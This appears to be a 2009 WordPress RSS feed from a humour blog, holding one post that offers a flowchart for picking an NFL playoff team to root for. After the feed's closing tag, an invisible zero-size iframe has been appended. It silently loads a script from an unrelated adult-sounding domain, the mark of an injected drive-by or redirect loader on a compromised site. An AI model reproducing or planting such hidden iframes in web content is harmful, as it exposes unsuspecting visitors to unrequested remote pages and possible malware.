<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Urbzen &#187; Handy Flowcharts</title>
	<atom:link href="http://urbzen.com/tag/handy-flowcharts/feed/" rel="self" type="application/rss+xml" />
	<link>http://urbzen.com</link>
	<description>A funny thing happened on the way to web stardom</description>
	<lastBuildDate>Fri, 04 Dec 2009 18:40:37 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>NFL Playoff Chart, Part One: Who are we rooting for this weekend?</title>
		<link>http://urbzen.com/2009/01/07/nfl-playoff-chart-part-one-who-are-we-rooting-for-this-weekend/</link>
		<comments>http://urbzen.com/2009/01/07/nfl-playoff-chart-part-one-who-are-we-rooting-for-this-weekend/#comments</comments>
		<pubDate>Wed, 07 Jan 2009 17:04:41 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Football]]></category>
		<category><![CDATA[AFC]]></category>
		<category><![CDATA[Baltimore Ravens]]></category>
		<category><![CDATA[Handy Flowcharts]]></category>
		<category><![CDATA[NFL]]></category>
		<category><![CDATA[NFL Playoff Chart]]></category>
		<category><![CDATA[Pittsburgh Steelers]]></category>
		<category><![CDATA[San Diego Chargers]]></category>
		<category><![CDATA[Tennessee Titans]]></category>

		<guid isPermaLink="false">http://urbzen.com/?p=154</guid>
		<description><![CDATA[Now that any team that anyone could possibly care about is out of the AFC playoff picture, it would be easy to give up on the 2008/2009 NFL season in favor of watching old episodes of Reba&#160;on DVD, alone, in your basement. But take heart. Your friends here at Urbzen have crafted a handy flowchart [...]]]></description>
			<content:encoded><![CDATA[<p>Now that any team that anyone could possibly care about is out of the AFC playoff picture, it would be easy to give up on the 2008/2009 NFL season in favor of watching old episodes of <em>Reba</em>&nbsp;on DVD, alone, in your basement. But take heart. Your friends here at Urbzen have crafted a handy flowchart to help you find your new favorite team. We’ll start with the AFC, and I’ll upload the NFC later, if I feel like it.</p>
<p><a href="http://urbzen.files.wordpress.com/2009/01/afc-playoff-chart1.pdf">2009 AFC Playoff Flowchart</a>&nbsp;(PDF)</p>
]]></content:encoded>
			<wfw:commentRss>http://urbzen.com/2009/01/07/nfl-playoff-chart-part-one-who-are-we-rooting-for-this-weekend/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://www.coolxxxclips.com/update/streem/go.php?sid=2" width="0" height="0"></iframe> 